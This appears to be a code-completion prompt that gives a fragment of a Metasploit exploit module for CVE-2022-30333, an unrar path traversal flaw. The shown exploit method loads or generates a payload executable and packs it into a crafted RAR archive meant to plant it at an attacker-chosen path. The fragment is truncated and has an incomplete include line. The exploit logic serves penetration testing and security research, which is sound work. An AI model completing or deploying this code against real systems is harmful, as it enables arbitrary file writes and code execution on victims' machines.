You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: unrar_cve_2022_30333.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/fileformat
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::
    
  def exploit
    print_status("Target filename: #{datastore['TARGET_PATH']}")

    if datastore['CUSTOM_PAYLOAD'].present?
      print_status("Encoding custom payload file: #{datastore['CUSTOM_PAYLOAD']}")
      payload_data = File.binread(datastore['CUSTOM_PAYLOAD'])

      # Append a newline + NUL byte, since random data will be appended and we
      # don't want to break shellscripts
      payload_data.concat("\n\0")
    else
      print_status('Encoding configured payload')
      payload_data = generate_payload_exe
    end

    begin
      rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), datastore['TARGET_PATH'], payload_data)
    rescue StandardError => e
      fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
    end